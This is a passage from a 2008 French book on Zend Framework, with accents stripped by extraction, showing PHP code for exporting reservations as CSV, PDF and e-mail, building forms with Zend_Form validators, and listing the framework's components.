Ajout dun lien vers le flux dans len-tte de la page (layout.phtml)
<head> ... <?php echo $this->headLink()->setAlternate( $this->link('webservice', 'rss'), 'application/rss+xml', $this->translate('Liste des rservations')); ?> ... </head>

Le composant Zend_View prvoit linsertion de balises HTML link alternate, trs utilises pour mettre en place ce lien vers un flux de donnes. La figure 12-11 montre la balise HTML gnre et lavertissement de la prsence dun flux RSS dans Firefox.

Figure 1211

Ajout dun lien alternate pour le flux RSS

234

Groupe Eyrolles, 2008

En rsum
En matire dinteroprabilit, Zend Framework na pas loup le coche et propose de vritables solutions. Zend_XmlRpc, Zend_Feed, Zend_Soap et Zend_Rest permettent de crer des serveurs de services web sur les technologies les plus courantes, mais aussi de crer des clients capables de les consommer. Allez plus loin, et voyez toute la panoplie Zend_Service_* qui permet de profiter des services connus, comme ceux dAmazon, Yahoo, Technorati ou encore SlideShare. Sans parler de lextraordinaire potentiel offert par le composant Zend_GData : peu prs tous les services web de Google y sont prsents, et son code source est mis au point par des employs de Google, en partenariat avec Zend... un vrai rgal !

Groupe Eyrolles, 2008

235

12 Interoprabilit et services web

chapitre

13

Groupe Eyrolles, 2008

Autres composants utiles

SOMMAIRE

B Envoyer des mails simplement

Envoyer des mails, gnrer des fichiers PDF, grer des formulaires... quand des fonctionnalits difficiles utiliser en temps normal savrent simples grce lemploi de certains outils, pourquoi sen priver ? Grce la programmation oriente objet et Zend Framework, nous disposons de multiples composants prts lemploi .

B Gnrer des fichiers PDF B Grer des formulaires


COMPOSANTS

B Zend_Mail B Zend_Pdf B Zend_Form B Zend_*


MOTS-CLS

B mails B POP B SMTP B PDF B formulaire B filtre B validateur

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Les composants que prsente ce chapitre sont utiles et vous feront gagner du temps. Cela vaut la peine de connatre leur existence et de savoir comment les utiliser. En plus de quelques explications dtailles sur Zend_Mail, Zend_Pdf et Zend_Form, ce chapitre vous clairera sur les composants Zend que nous navons pas encore abords dans cet ouvrage. Ces quelques composants apportent des fonctionnalits supplmentaires ou permettent de simplifier et organiser certaines oprations. Plusieurs dentre eux sont dtaills ici : Zend_Mail et Zend_Pdf apportent des outils pour manipuler respectivement des e-mails et des fichiers PDF, tandis que Zend_Form offre un cadre pour la gestion de formulaires.

Prparation de larchitecture
RENVOI Aides daction
Si les aides daction ne vous ont pas familires, reportez-vous aux chapitres 6 et 7 sur MVC.

Avant dintroduire les fonctionnalits, nous allons mettre en place une architecture base sur une aide daction. Ce chapitre est dcoup en deux parties : la partie composants (library) et la partie MVC.

Les composants (library)


Laccs aux fonctions dexport (PDF, CSV) et lenvoi du rapport par e-mail sera assur par lintermdiaire dune aide daction (action helper). La figure 13-1 illustre les classes qui seront mises en uvre pour notre besoin.

Figure 131

Architecture de laide daction ExportReservation

238

Groupe Eyrolles, 2008

La classe principale de laide daction sappelle Zfbook_Controller_ ActionHelpers_ExportReservations. Il est possible de modifier le rpertoire pour viter davoir un nom rallonge. Dans notre exemple, nous resterons dans lemplacement conseill pour ce type dobjet. Notre classe comporte la mthode direct(), requise par laide daction, et une mthode _build() destine crer des objets dexport (PDF, CSV, etc.), qui implmentent obligatoirement linterface Zfbook_Controller_ ActionHelpers_ExportReservations_Interface. En rsum, voici les rles des classes crer : Zfbook_Controller_ActionHelpers_ExportReservations est la classe de laide daction. Il sagit dun monteur (builder) qui charge la classe dexport utiliser (mthode _build()) et excute lopration dexport (mthode direct()) ; Zfbook_Controller_ActionHelpers_ExportReservations_Interface oblige les classes dexport CSV, PDF et mail possder les mthodes getMimeType() et getContent() utilises par laide daction ; Zfbook_Controller_ActionHelpers_ExportReservations_Abstract est la classe mre des classes dexport. Elle contient le code commun de lensemble des classes dexport, notamment le constructeur qui rcupre la liste des rservations exporter ; Zfbook_Controller_ActionHelpers_ExportReservations_Csv est la classe dexport au format CSV. Cette classe utilisera simplement Zfbook_Convert_Csv pour la conversion (voir chapitre 15) ; Zfbook_Controller_ActionHelpers_ExportReservations_Mail assure lenvoi de le-mail contenant la liste des rservations ; Zfbook_Controller_ActionHelpers_ExportReservations_Pdf assure la cration du flux PDF pour lexport dans ce format.
La classe du plugin ExportReservation
<?php /** * Aide daction qui gre les exports */ class Zfbook_Controller_ActionHelpers_ExportReservations extends Zend_Controller_Action_Helper_Abstract { public function direct($format = 'pdf') { $exportObject = $this->_build($format); $this->getActionController() ->getResponse() ->setHeader('Content-type', $exportObject->getMimeType());

Groupe Eyrolles, 2008

239

13 Autres composants utiles

Zend Framework - Bien dvelopper en PHP

$this->getActionController() ->getResponse() ->setBody($exportObject->getContent()); } /** * Construit un objet dexport (builder) */ private function _build($format) { $classToBuild = 'Zfbook_Controller_ActionHelpers_ExportReservations_' . ucfirst($format); if (!class_exists($classToBuild)) { $msg = "Format de sortie inconnu"; throw new Zfbook_Controller_Exception($msg); } $classToBuild = new $classToBuild; if (!$classToBuild instanceof Zfbook_Controller_ActionHelpers_ExportReservations_Abstract) { $msg = "Classe d'export incorrecte"; throw new Zfbook_Controller_Exception($msg); } return new $classToBuild; } }

Concrtement, la mthode _build() de la classe daide daction construit le nom de la classe dexport charger partir du format de lexport pass en paramtre. Puis, quelques vrifications sont effectues telles que lexistence de la classe et, aprs son instanciation, le contrle du type de classe. Par hritage, les classes dexport doivent implmenter linterface. Enfin, lobjet export est retourn. La mthode _build() est prive, car elle est utilise uniquement par la mthode direct() situe dans la mme classe. Cette dernire prend en paramtre le format de lexport raliser, charge lobjet dexport par lintermdiaire de _build(), puis excute les actions dexport via les mthodes getMimeType() et des classes dexport.
Interface utilise pour les classes dexport
<?php /** * Classe mre des classes dexport */ abstract class Zfbook_Controller_ActionHelpers_ExportReservations_Abstract implements Zfbook_Controller_ActionHelpers_ExportReservations_Interface { protected $_resaTab;

240

Groupe Eyrolles, 2008

/** * Constructeur, rcupre la liste exporter */ public function __construct() { $reservationList = new TReservationList(); $this->_resaTab = $reservationList->fetchAll() ->toArray(); } }

Comme nous lavons vu prcdemment, la classe abstraite contient un constructeur qui charge les rservations dans la proprit $_resaTab. Cette proprit contient donc, dans un tableau, la liste des rservations exporter. Cette classe implmente linterface de manire obliger les classes filles hriter de cette implmentation.
Interface des classes dexport
<?php /** * Interface de laide dexport de reservations */ interface Zfbook_Controller_ActionHelpers_ExportReservations_Interface { /** * Retourne le mime type de lexport */ public function getMimeType(); /** * Rcupre le contenu complet export */ public function getContent(); }

Comme nous pouvons le voir dans linterface, une classe dexport doit avoir une mthode getMimeType() qui retourne le type des donnes exporter et une classe getContent() qui retourne les donnes envoyer dans la sortie standard. Voyons maintenant quoi ressemble une classe dexport. Un bon exemple est la classe CSV, qui reste minimale dans la mesure o lalgorithme de gnration des donnes CSV est dj dvelopp dans une bibliothque part.

Groupe Eyrolles, 2008

241

13 Autres composants utiles

Zend Framework - Bien dvelopper en PHP

Classe dexport au format CSV


<?php /** * Export en CSV des rservations */ class Zfbook_Controller_ActionHelpers_ExportReservations_Csv extends Zfbook_Controller_ActionHelpers_ExportReservations_Abstract { const MIME_TYPE = 'text/csv'; public function getMimeType() { return self::MIME_TYPE; } /** * Construit et retourne le flux CSV des rservations */ public function getContent() { return Zfbook_Convert_Csv::getInstance() ->convertFromArray($this->_resaTab); } }

Nous retrouvons nos deux mthodes dclares dans linterface.

MVC
Pour la partie MVC, rien de bien compliqu. Nous allons mettre en place une action export, qui fait appel laide daction dcrite prcdemment et sa vue associe.
ReservationController::exportAction()
// Nous sommes dans la classe ReservationController public function exportAction() { if ($this->_hasParam('format')) { $exportType = $this->getRequest()->getParam('format'); $this->_helper->viewRenderer->setNoRender(true); $this->_helper->layout->disableLayout(); $this->_helper->exportReservations($exportType); } else { $title = "Export de la liste des rservations"; $this->view->setTitrePage($title); } }

242

Groupe Eyrolles, 2008

Dans cette mthode, si un paramtre format est prcis, on appelle laide daction aprs avoir dsactiv lappel de la vue et du layout, sinon la page dexport est simplement affiche avec son titre.
Vue associe laction export (reservation/export.phtml)
<h1><?php echo $this->pageTitle; ?></h1> <p>Actions :</p> <ul> <li> <a href="<?php echo $this->link('reservation', 'export', null, array('format' => 'pdf')); ?>"> <?php echo $this->translate("Exporter les rservations en PDF"); ?></a> </li> <li> <a href="<?php echo $this->link('reservation', 'export', null, array('format' => 'csv')); ?>"> <?php echo $this->translate("Exporter les rservations en CSV"); ?></a> </li> <li> <a href="<?php echo $this->link('reservation', 'export', null, array('format' => 'mail')); ?>"> <?php echo $this->translate("Envoyer un rapport par e-mail"); ?></a> </li> </ul>

Dans cette vue, nous dclarons par avance lensemble des liens dont nous aurons besoin pour accder aux services dexport. Ces liens sont ajouter deux des services web (SOAP et REST), sils existent. Suite cette introduction sur larchitecture, intressons-nous maintenant aux composants eux-mmes...

RENVOI SOAP et REST


Les services web sont abords au chapitre 12.

Zend_Mail : envoi de-mails


Zend_Mail

permet de simplifier lenvoi de-mails, mais aussi la lecture des e-mails depuis un compte POP ou IMAP. Ces oprations seffectuent travers un objet Zend_Mail. Dans nos exemples, nous allons nous concentrer sur lenvoi de-mails, qui est lopration la plus courante.

Envoyer un simple e-mail


Pour envoyer un e-mail classique, comportant un sujet et un texte, rien de plus simple avec Zend_Mail. Voici comment procder :
Envoi simple dun e-mail
$mail = new Zend_Mail(); $mail->setSubject('Sujet de mon e-mail'); $mail->addTo('guillaume.poncon@openstates.com'); $mail->send();

Groupe Eyrolles, 2008

243

13 Autres composants utiles

Zend Framework - Bien dvelopper en PHP

Il est galement possible deffectuer nombre dautres oprations utiles avec Zend_Mail : configurer le transport ou la connexion SMTP utiliser, avec authentification, si ncessaire ; utiliser plusieurs transports ; envoyer un e-mail en HTML ; attacher des pices jointes ; contrler les types MIME, les jeux de caractres et les encodages ; indiquer plusieurs destinataires et contrler les en-ttes.

Figure 132

Diagramme de classes simplifi de Zend_mail

244

Groupe Eyrolles, 2008

Envoyer un e-mail complet


Dans notre application, nous dcidons de mettre en place une action qui expdie par e-mail la liste des rservations. Les rservations du jour sont en HTML dans le message, et lensemble des rservations de la base sont stockes dans un fichier PDF joint au mail. Notre algorithme de cration de-mail est alors le suivant : 1 crer lobjet e-mail et spcifier le sujet et le destinataire ; 2 extraire la liste des rservations du jour ; 3 effectuer le rendu HTML des rservations extraites laide du template views/reservation/report.phtml ; 4 extraire la liste de lensemble des rservations ; 5 construire les donnes CSV ; 6 attacher le fichier CSV le-mail ; 7 envoyer le-mail. Comme prvu, nous allons mettre en place cet algorithme dans la classe dexport associe.
Classe dexport utilise pour lenvoi dun e-mail
<?php /** * Envoi dun email contenant les rservations */ class Zfbook_Controller_ActionHelpers_ExportReservations_Mail extends Zfbook_Controller_ActionHelpers_ExportReservations_Abstract { const MIME_TYPE = 'text/html; charset=utf-8'; public function getMimeType() { return self::MIME_TYPE; } /** * Expdie un e-mail avec une liste de rservations * et retourne un message */ public function getContent() { // Construction de la liste des rservations en HTML // Pour le corps du message. $htmlContent = '<h1>Liste des rservations</h1>'; $htmlContent .= '<table border="1">'; foreach ($this->_resaTab as $key => $item) { $htmlContent .= '<tr><td>'; unset($item['id_reservation']); unset($item['id_user']); unset($item['id_room']);

Groupe Eyrolles, 2008

245

13 Autres composants utiles

Zend Framework - Bien dvelopper en PHP

if ($key == 0) { $htmlContent .= '<b>' . implode('</b></td><td><b>', array_keys($item)); $htmlContent .= '</b></td></tr><tr><td>'; } $htmlContent .= implode('</td><td>', array_values($item)); } $htmlContent .= '</td></tr></table>'; // Destinataire $email = Zend_Auth::getInstance()->getIdentity() ->email; $name = Zend_Auth::getInstance()->getIdentity() ->firstname . ' ' . Zend_Auth::getInstance()->getIdentity() ->lastname; // Plugin PDF pour la pice jointe $pdfExportPlugin = new Zfbook_Controller_ActionHelpers_ExportReservations_Pdf(); // Transport utiliser pour lenvoi $transport = new Zend_Mail_Transport_Smtp('smtp.wanadoo.fr'); // Construction de le-mail $mail = new Zend_Mail('UTF-8'); $mail->setSubject('Liste des rservations') ->setFrom('contact@zfbook.fr', 'ZFBOOK') ->addTo($email, $name) // Ajout des donnes HTML ->setBodyHtml($htmlContent, 'UTF-8'); // Ajout dun attachement (PDF) $attachment = $mail->createAttachment( $pdfExportPlugin->getContent($reservations) ); $attachment->type = $pdfExportPlugin->getMimeType(); $attachment->filename = 'reservations.pdf'; // Envoi $mail->send($transport); return 'Mail sent to ' . $name; } }

Dans la classe getContent(), la premire partie concerne la construction dun contenu HTML qui na rien de compliqu. tant donn que nous voulons attacher un document PDF notre e-mail, nous pouvons utiliser la classe dexport PDF qui nous permettra de rcuprer le contenu PDF expdier. Lobjet contenu dans $transport sert simplement 246
Groupe Eyrolles, 2008

dfinir la mthode de transport. Ici, il sagit dun envoi via le serveur SMTP de Wanadoo. Il aurait t utile de dfinir ce paramtre dans le fichier de configuration dans le cadre dune refonte de code. Nous vous laissons le soin de cette opration raliser avec Zend_Config, titre dexercice, si vous le souhaitez. On cre ensuite lobjet Zend_Mail, en prcisant lencodage UTF-8. Cet objet dispose de plusieurs mthodes permettant dajouter le-mail des informations telles que le sujet, les destinataires, lexpditeur et le contenu en texte et/ou en HTML. Il est mme possible dy attacher des fichiers en renseignant leur type et leur contenu, comme cela vous est montr dans le code source. Enfin, lenvoi se fait avec la mthode send(), qui peut prendre en paramtre optionnel lobjet transport. Voil comment utiliser lobjet Zend_Mail qui, comme nous pouvons le voir, simplifie la cration et lenvoi de-mails. videmment, il est toujours recommand dtudier plus amplement les protocoles utiliss par Zend_Mail, dans le cas o vous rencontreriez des problmes. Savoir comment tout cela fonctionne reste tout de mme gage de prennit.

Zend_Pdf : crer des fichiers PDF


Zend_Pdf est un composant qui permet de crer ou de modifier des fichiers PDF. Il est notamment possible dcrire du texte, de dessiner des formes gomtriques et dajouter des images. Dans lexemple, nous allons crer un PDF contenant une page de garde et, sur les pages suivantes, la liste des rservations.

Ici aussi, nous allons crer une classe dexport PDF compatible avec notre architecture. Voici quoi ressemble le contenu de cette classe, que nous allons commenter par la suite :
Classe dexport en PDF
<?php /** * Export en PDF des rservations */ class Zfbook_Controller_ActionHelpers_ExportReservations_Pdf extends Zfbook_Controller_ActionHelpers_ExportReservations_Abstract { const MIME_TYPE = 'application/pdf'; public function getMimeType() { return self::MIME_TYPE; }

Groupe Eyrolles, 2008

247

13 Autres composants utiles

Zend Framework - Bien dvelopper en PHP

/** * Construit le PDF contenant la liste des rservations */ public function getContent() { // Cration dun nouveau document PDF $pdf = new Zend_Pdf(); // Style par dfaut du document $style = new Zend_Pdf_Style(); $lineColor = new Zend_Pdf_Color_GrayScale(0.2); $style->setLineColor($lineColor); $style->setLineWidth(1); $helvetica = Zend_Pdf_Font::fontWithName(Zend_Pdf_Font::FONT_HELVETICA); $style->setFont($helvetica, 18); // Page daccueil $pdf->pages[] = ($homePage = $pdf->newPage('A4')); $font = Zend_Pdf_Font::fontWithName(Zend_Pdf_Font::FONT_HELVETICA_BOLD); $homePage->setFont($font, 36); $homePage->drawText('Liste des rservations', 120, 500); $font = Zend_Pdf_Font::fontWithName(Zend_Pdf_Font::FONT_HELVETICA); $homePage->setFont($font, 14); $dateNow = new Zend_Date(); $homePage->drawText('Export du ' . $dateNow , 200, 450); $homePage->drawRectangle(20, 20, $homePage->getWidth() - 20, $homePage->getHeight() - 20, 0); $imagePath = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'header.jpg'; $imageHeader = Zend_Pdf_Image::imageWithPath($imagePath); foreach ($this->_resaTab as $item) { $pdf->pages[] = ($page = $pdf->newPage('A4')); $page->drawImage($imageHeader, 20, $homePage->getHeight() - 220, $homePage->getWidth() - 20, $homePage->getHeight() - 20); $page->drawRectangle(20, 20, $homePage->getWidth() - 20, $homePage->getHeight() - 20, 0); $page->setStyle($style); $y = 20; $x1 = 40; $x2 = 180; $page->drawText('Salle: ', $x1, $y * 30); $page->drawText($item['room'], $x2, $y-- * 30); $page->drawText('Usage: ', $x1, $y * 30); $page->drawText($item['usage'], $x2, $y-- * 30); $page->drawText('Date de dbut: ', $x1, $y * 30); $page->drawText($item['date_begin'], $x2, $y-- * 30); $page->drawText('Date de fin: ', $x1, $y * 30); $page->drawText($item['date_end'], $x2, $y-- * 30); $page->drawText('Crateur: ', $x1, $y * 30); $page->drawText($item['user'], $x2, $y-- * 30); }

248

Groupe Eyrolles, 2008

// Rendu du contenu PDF return $pdf->render(); } }

Un objet PDF est instanci avec la classe Zend_Pdf. Cest lui que nous allons attacher les lments de contenu au fur et mesure de la construction du fichier. Un des premiers paragraphes du code ci-dessus concerne la mise en place des styles par dfaut du document, en utilisant la classe Zend_Pdf_Style. Le style dfinit les couleurs par dfaut, la taille des lments gomtriques et des textes, ainsi que la fonte du document. Lobjet Zend_Pdf contient un tableau $pages dont chaque lment reprsente une page du document. La cration dune page consiste simplement lajout dun lment dans ce tableau, avec une valeur pouvant tre cre grce la mthode newPage(). La construction de la page daccueil montre comment insrer des chanes de caractres via drawText() dans le fichier, ainsi quun cadre ralis avec la mthode drawRectangle(). Puis, pour chaque page, nous voulons redessiner le rectangle, ajouter les informations sur la rservation concerne et insrer une image en haut de page. Linsertion dune image se fait en instanciant un objet Zend_Pdf_Image puis en appelant la mthode drawImage() de notre objet page. Il est noter que les mthodes dinsertion de textes, dimages ou dobjets gomtriques sont truffes de paramtres de position et de taille. La position est relative au coin infrieur gauche de la page. Pour crer des documents PDF plus simplement, il peut tre judicieux de crer une classe PDF personnalise qui automatise la gestion de ces positions et de ces tailles.

Figure 133

Rsultat de la gnration du document PDF : page daccueil Groupe Eyrolles, 2008

249

13 Autres composants utiles

Zend Framework - Bien dvelopper en PHP

Figure 134

Rsultat de la gnration du document PDF : informations sur une rservation

Zend_Form : gnration et gestion de formulaires


Lemploi de Zend_Form pour la manipulation de formulaires est utile pour plusieurs raisons : cest un moyen dhomogniser la manire dont sont grs les formulaires, quil sagisse du fond (manipulation des donnes) ou de la forme (code HTML et styles) ; les oprations de validation et de filtrage sont gres par Zend_Form, notamment laffichage des messages derreur, ce qui constitue un atout considrable. On peut reprocher Zend_Form la verbosit des nombreux objets Element paramtrer, et une certaine rigidit au niveau de la forme. En effet, il nest pas possible de modifier son formulaire avec un diteur WYSIWYG et la modification de code HTML passe par des dcorateurs (souvent des mthodes sur des objets). Pour notre exemple, nous allons crer un formulaire qui permettra de crer et de modifier des rservations. Cest laction edit du contrleur reservation qui grera laffichage du formulaire et le traitement des donnes.

250

Groupe Eyrolles, 2008

Crer un formulaire
Dun point de vue architecture, notre formulaire sera affich par lintermdiaire de laction ReservationController::editAction(), et la cration du formulaire avec Zend_Form sera assure dans une classe part, Zfbook_Form_Reservation.

Figure 135

Diagramme de classes simplifi de Zend_Form

Contenu de laction editAction()


/** * dite et enregistre une rservation */ public function editAction() { // Rcupration des paramtres et de la rservation // diter si ncessaire. $params = $this->getRequest()->getParams(); $isUpdate = isset($params['r']); if ($isUpdate) { $params['r'] = (int)$params['r']; // Vrification des droits pour cette rservation $this->_helper->aclCheck($params['r'], 'editer'); $this->view->setTitrePage("Editer une rservation existante"); $reservation = $this->_reservationTable ->find((int)$params['r']) ->current(); } else { $this->_helper->aclCheck('reservations', 'ajouter'); $this->view->setTitrePage("Ajouter une rservation"); // Cration dune rservation vide sil sagit // dun ajout $reservation = $this->_reservationTable ->createRow(); }

Groupe Eyrolles, 2008

251

13 Autres composants utiles

Zend Framework - Bien dvelopper en PHP

// Cration du formulaire et dclaration des // paramtres gnraux $form = new Zfbook_Form_Reservation(); $form->setAction($this->view->link('reservation', 'edit', null, '', 'default', !$isUpdate)) ->setMethod('post') ->setDefaults($reservation->toArray()); // Cration du formulaire et ajout/suppression if ($this->getRequest()->isPost() && $form->isValid($_POST)) { // Retrait des informations depuis les donnes en POST // et ajout dans le modle. $values = $form->getValues(); $values['creator'] = Zend_Auth::getInstance()->getIdentity()->id; $reservation->setFromArray(array_intersect_key($values, $reservation->toArray())); // Sauvegarde des informations $reservation->save(); // Sauvegarde des ACL concernant cette salle if (!$isUpdate) { $this->_helper->aclCheck->acl->add(new Zend_Acl_Resource($reservation->id)); } $this->_helper->aclCheck->acl->allow('user', $reservation->id); // Cette action modifie la liste des rsultats : // suppression du cache pour mise jour Zfbook_Cache::clean('reservations'); // Redirection vers la liste des rservations $this->_redirect($this->view->url(array(), 'reservations'), array('prependBase' => false)); } // Assignation du formulaire pour affichage $this->view->form = $form; }

La premire partie de cet algorithme consiste rcuprer les donnes par dfaut du formulaire. Notre mthode gre la cration dune nouvelle rservation et ldition dune rservation existante. On trouve galement dans cet algorithme des appels aux ACL et au cache, mais nous naborderons pas ces aspects ici. La ligne qui nous intresse est celle de la construction du formulaire avec la classe Zfbook_Form_Reservation que nous dtaillerons par la suite. Lobjet cr reprsente notre formulaire, auquel nous associons des paramtres tels que laction, la mthode et les valeurs par dfaut. En dautres termes, la classe Zfbook_Form_Reservation ne fait que fournir un objet formulaire vide de donnes et de paramtres.

252

Groupe Eyrolles, 2008

La suite de lalgorithme concerne lenregistrement des donnes envoyes par le formulaire via lobjet TReservation. Enfin, le formulaire est envoy la vue.
Vue reservation/edit.phtml associe la mthode editAction()
<h1><?php echo $this->pageTitle; ?></h1> <div id="reservationform"><?php echo $this->form; ?></div>

Comme nous pouvons le voir, la vue associe au formulaire est extrmement simple. La gnration du formulaire consiste simplement faire un echo de notre objet Zend_Form. Cest cet objet que nous devons nous intresser maintenant.
Classe de construction du formulaire
<?php /** * Formulaire de rservation */ class Zfbook_Form_Reservation extends Zend_Form { /** * Initialisation du formulaire (mthode obligatoire) */ public function init() { $roomModel = new TRoom(); $rooms = $roomModel->fetchAll(); $roomsTab = array(); $placeString = 'places'; foreach ($rooms as $room) { $roomsTab[$room->id] = $room->name . ' (' . $room->capacity . ' ' . $placeString . ')'; } // Liste droulante des salles (mthode avec setters) // dclaration, options, validateurs et filtres $roomSelect = new Zend_Form_Element_Select('id_room'); $roomSelect->setMultiOptions($roomsTab); $roomSelect->setLabel($this->getTranslator()->translate("Salle :")); $roomSelect->setRequired(true); $roomSelect->addValidator(new Zend_Validate_Int()); $this->addElement($roomSelect); // Champ texte "usage" (mthode simple avec setters) $usage = new Zend_Form_Element_Text('usage'); $usage->addFilter(new Zfbook_Filter_StripSlashes()); $usageValidators = array(new Zend_Validate_StringLength(0, 25)); $usage->addValidators($usageValidators); $usage->setLabel($this->getTranslator()->translate("Utilisation :"));

Groupe Eyrolles, 2008

253

13 Autres composants utiles

Zend Framework - Bien dvelopper en PHP

$usage->setRequired(true); $this->addElement($usage); // Paramtres de dates $datePattern = 'YYYY-MM-DD HH:mm:ss'; $dateValidator = new Zend_Validate_Date($datePattern, 'fr_FR'); // Champ date de dbut $options = array(); $options['label'] = $this->getTranslator()->translate("Du :"); $options['validators'] = array($dateValidator); $options['required'] = true; $options['filters'] = array(new Zfbook_Filter_StripSlashes()); $this->addElement('text', 'date_begin', $options); // Champ date de fin $options['label'] = $this->getTranslator()->translate("Au :"); $this->addElement('text', 'date_end', $options); // Bouton de validation $submitButton = new Zend_Form_Element_Submit('submit_reservation'); $submitButton->setLabel($this->getTranslator()->translate("Valider")); $submitButton->setValue($this->getTranslator()->translate("Valider")); $submitButton->style = 'margin-left: 80px'; $this->addElement($submitButton); // jeton $token = new Zend_Form_Element_Hash('token', array('salt' => 'unique')); $this->addElement($token); } }

Cette classe tend Zend_Form et construit le formulaire dans la mthode obligatoire init() qui est appele automatiquement. Un objet Zend_Form est compos de plusieurs objets Zend_Form_Element_* qui constituent le formulaire. Ces objets sont construits dans la mthode init(). Dans notre exemple, nous avons donc : une liste droulante contenant les salles ($roomSelect) ; trois champs texte : le champ usage et les dates de dbut et de fin ; un bouton de validation ; un jeton, champ invisible permettant dassurer une scurit primaire anti-CSRF (le chapitre 11 vous renseignera sur ce terme). Chaque champ du formulaire est dclar avec des options. Pour construire un champ, il existe deux mthodes, qui sont utilises titre dexemple dans notre script : construire lobjet Zend_Form_Element_*, lui assigner les options, puis lattacher au formulaire avec la mthode $this->addElement() (liste droulante des salles et champ usage) ;

254

Groupe Eyrolles, 2008

construire un tableau doptions puis laisser $this->addElement() le soin de construire lobjet Zend_Form_Element_* (champs date). Parmi les options dlments disponibles, nous pouvons donner la lgende du champ (label), prciser si celui-ci est obligatoire (required) et y assigner des filtres et des validateurs. Ces deux dernires possibilits sont aussi importantes quintressantes, car elles permettent de sassurer que les valeurs saisies sont syntaxiquement correctes et que les donnes expdies au SGBD sont nettoyes.

Assigner des filtres ou des validateurs


Notre application donne plusieurs exemples dassignation de filtres et de validateurs. Une assignation se fait soit en mentionnant le nom du filtre ou du validateur dans une chane, soit en instanciant lobjet de filtrage ou de validation. Les filtres et les validateurs sont respectivement stocks dans $options['filters'] et $options['validators'], $options tant le tableau doptions de llment concern. De mme, partir de lobjet lment, lajout de filtres et de validateurs se fait avec les mthodes addFilter() et addValidator(). Il est aussi possible dassigner des filtres et des validateurs personnaliss. Voici par exemple un filtre personnalis stripslashes, que nous utilisons dans les champs texte et qui permet dviter lajout automatique de caractres dchappement par loption de configuration magic_quotes_gpc de PHP. Ce filtre est dclar dans une classe de filtre, comme le prconise Zend_Filter.
Filtre personnalis stripslashes
<?php /** * Strip slashes si magic_quote_gpc actives */ class Zfbook_Filter_StripSlashes implements Zend_Filter_Interface { /** * Dfini dans Zend_Filter_Interface */ public function filter($value) { if (get_magic_quotes_gpc()) { return stripslashes($value); } return $value; } }

BONNE PRATIQUE Magic quotes


Votre serveur ne doit pas se reposer sur le paramtre magic_quote_gpc. Voyez lannexe F qui traite en dtail des options PHP recommandes pour dvelopper dans un environnement Zend Framework. Nous utilisons cette notion ici titre dexemple uniquement.

Groupe Eyrolles, 2008

255

13 Autres composants utiles

Zend Framework - Bien dvelopper en PHP

Une fois cette classe dclare, on peut lutiliser comme nimporte quel $usage->addFilter(new filtre. Par exemple, la ligne Zfbook_Filter_StripSlashes()) assigne ce filtre au champ $usage. La figure 13-6 illustre le rsultat de la gnration dun tel formulaire. Pour vous entraner sur cette application, vous pouvez par exemple essayer de crer les formulaires dajout dutilisateurs et de salles, qui peuvent tre construits sur le mme principe.

Figure 136

Le formulaire dajout et de modification de rservations

ALLER PLUS LOIN Zend_Form


Zend_Form est un composant trs complet, comprenant de nombreuses classes. La documentation en ligne vous en apprendra plus, notamment sur les possibilits de liaison avec Zend_Config, ou encore concernant lajout de fonctionnalits Ajax. En fait, tout est question dexprience. En gnral, un dveloppeur web construit de nombreux formulaires, et il acquiert ainsi trs rapidement lexprience lui permettant de bien mieux apprhender Zend_Form.

Cette petite introduction Zend_Form nous permet de comprendre lintrt de ce composant. Il est noter que celui-ci gnre un code HTML par dfaut qui peut tre modifi grce des dcorateurs que nous naborderons pas ici. Le code HTML par dfaut est gnr avec des champs <dt> nomms, qui permettent de faire voluer laspect du formulaire avec des styles CSS.

Tous les composants de Zend Framework


Voici la liste de lensemble des composants du Zend Framework dans sa version 1.6. Pour davantage dinformations sur ces composants, nous vous invitons consulter la documentation en ligne. Chaque nouvelle version majeure ou mineure de Zend Framework rajoute en effet un certain nombre de composants.

256

Groupe Eyrolles, 2008

Tableau 131 Liste des composants existants Composant


Zend_Acl Zend_Auth Zend_Cache Zend_Captcha Zend_Config Zend_Console_* Zend_Controller Zend_Currency Zend_Date Zend_Db Zend_Debug Zend_Dojo Zend_Feed Zend_File Zend_Filter Zend_Form Zend_Gdata Zend_Http Zend_Infocard Zend_Json Zend_Layout Zend_Ldap Zend_Loader Zend_Locale Zend_Log Zend_Mail Zend_Measure Zend_Memory Zend_Mime Zend_OpenId Zend_Paginator Zend_Pdf Zend_Registry

Utilit

Implmentation des listes de contrle daccs (ACL) pour affiner les droits des utilisateurs. Gestion de lauthentification des utilisateurs. Implmentation du cache avec possibilit dutiliser plusieurs supports et frontaux. Gnration des textes images lisibles uniquement par ltre humain (pour validation de formulaire). Gestion de la configuration, avec possibilit de grer des jeux de configuration et des hritages. Composants utiles pour le mode console (CLI). Par exemple, Zend_Console_Getopt gre lextraction doptions. Composant MVC de Zend Framework. Gestion des monnaies. Gestion des dates : formatage, comparaisons, oprations. Composant de taille importante proposant diffrentes manires daccder une base de donnes. Utilitaires de dbogage. Facilite limplmentation ct PHP du framework Dojo utilis pour les applications Ajax. Gestion de flux, tels que RSS ou Atom. Gestion des fichiers.
Zend_File_Transfert propose des validateurs pour le chargement de fichiers.

Bibliothque de filtres utiles pour nettoyer des donnes. Gestion de formulaires : cration, filtrage, validation. Manipulation de donnes spcifiques aux API Google. Manipulation des donnes et oprations lies au protocole HTTP. Manipulation de donnes InfoCard avec possibilit de lier Zend_Auth. Manipulation des donnes JSON et de cration dun serveur. Souvent utilis en Ajax. Gestion de gabarits communs un ensemble de pages. Utilis pour les en-ttes et pieds de pages communs, par exemple. Accs un serveur LDAP et manipulation de donnes. Gestion du chargement des classes et des fichiers utiles. Gestion complte de la localisation : langues, rgions, dates, heures, normalisation, nombres, etc. Gestionnaire de logs avec possibilit dattacher des objets de supports (base de donnes, fichier, etc.). Envoi et rception de-mails. Oprations spcifiques aux mesures (m, m, etc.) : formatage, comparaisons, oprations. Permet davoir la main sur la politique de gestion de la mmoire alloue pour les objets. Gestion des types MIME, utilis notamment par Zend_Mail. Manipulation des identits OpenId, avec possibilit dintgration Zend_Auth. Gestion de laffichage pagin de listes de donnes. Cration et manipulation de fichiers PDF. Registre dans lequel on peut crire et lire des objets, en remplacement du contexte global.

Groupe Eyrolles, 2008

257

13 Autres composants utiles

Zend Framework - Bien dvelopper en PHP

Tableau 131 Liste des composants existants (suite) Composant


Zend_Rest Zend_Search_* Zend_Server_* Zend_Service_* Zend_Session Zend_Soap Zend_Test Zend_Text Zend_Translate Zend_Uri Zend_Validate Zend_Version Zend_View Zend_XmlRpc

Utilit

